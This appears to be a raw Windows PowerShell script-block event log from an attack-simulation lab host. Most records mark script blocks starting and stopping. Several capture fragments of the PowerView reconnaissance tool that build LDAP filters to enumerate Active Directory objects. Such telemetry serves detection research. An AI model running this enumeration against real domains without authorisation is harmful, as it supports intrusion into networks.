LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051461
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051460
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051459
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051457
Keywords=None
Message=Started invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051456
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{
                if ($PSBoundParameters['Raw']) {
                    # return raw result objects
                    $Object = $_
                    $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
                }
                else {
                    $Object = Convert-LDAPProperty -Properties $_.Properties
                    $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
                }
                $Object
            }

ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051454
Keywords=None
Message=Started invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051453
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{$_}

ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051452
Keywords=None
Message=Completed invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051451
Keywords=None
Message=Started invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051450
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{$_}

ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051449
Keywords=None
Message=Completed invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051448
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051447
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051446
Keywords=None
Message=Started invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051445
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{
                $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
                if ($IdentityInstance -match '^S-1-') {
                    $IdentityFilter += "(objectsid=$IdentityInstance)"
                }
                elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
                    $IdentityFilter += "(distinguishedname=$IdentityInstance)"
                    if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
                        # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
                        #   and rebuild the domain searcher
                        $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
                        Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
                        $SearcherArguments['Domain'] = $IdentityDomain
                        $ObjectSearcher = Get-DomainSearcher @SearcherArguments
                        if (-not $ObjectSearcher) {
                            Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
                        }
                    }
                }
                elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
                    $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
                    $IdentityFilter += "(objectguid=$GuidByteString)"
                }
                elseif ($IdentityInstance.Contains('\')) {
                    $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
                    if ($ConvertedIdentityInstance) {
                        $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
                        $ObjectName = $IdentityInstance.Split('\')[1]
                        $IdentityFilter += "(samAccountName=$ObjectName)"
                        $SearcherArguments['Domain'] = $ObjectDomain
                        Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
                        $ObjectSearcher = Get-DomainSearcher @SearcherArguments
                    }
                }
                elseif ($IdentityInstance.Contains('.')) {
                    $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
                }
                else {
                    $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
                }
            }

ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051444
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051443
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051442
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{$_}

ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051440
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051438
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051436
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051435
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ $CommonParameters -notcontains $_ }

ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051434
Keywords=None
Message=Completed invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051433
Keywords=None
Message=Started invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051432
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{
            # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
            # so one can't use PowerShell's '-is' operator to validate type.
            if($_.GetType().Name -notmatch 'Dictionary') {
                Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
            }
            $true
        }

ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051431
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051430
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051429
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051428
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051427
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051426
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051425
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{Get-Variable -Name $_ -ValueOnly -Scope 0}

ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Path:
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051423
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051422
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051421
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051419
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051417
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051415
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051414
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051413
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
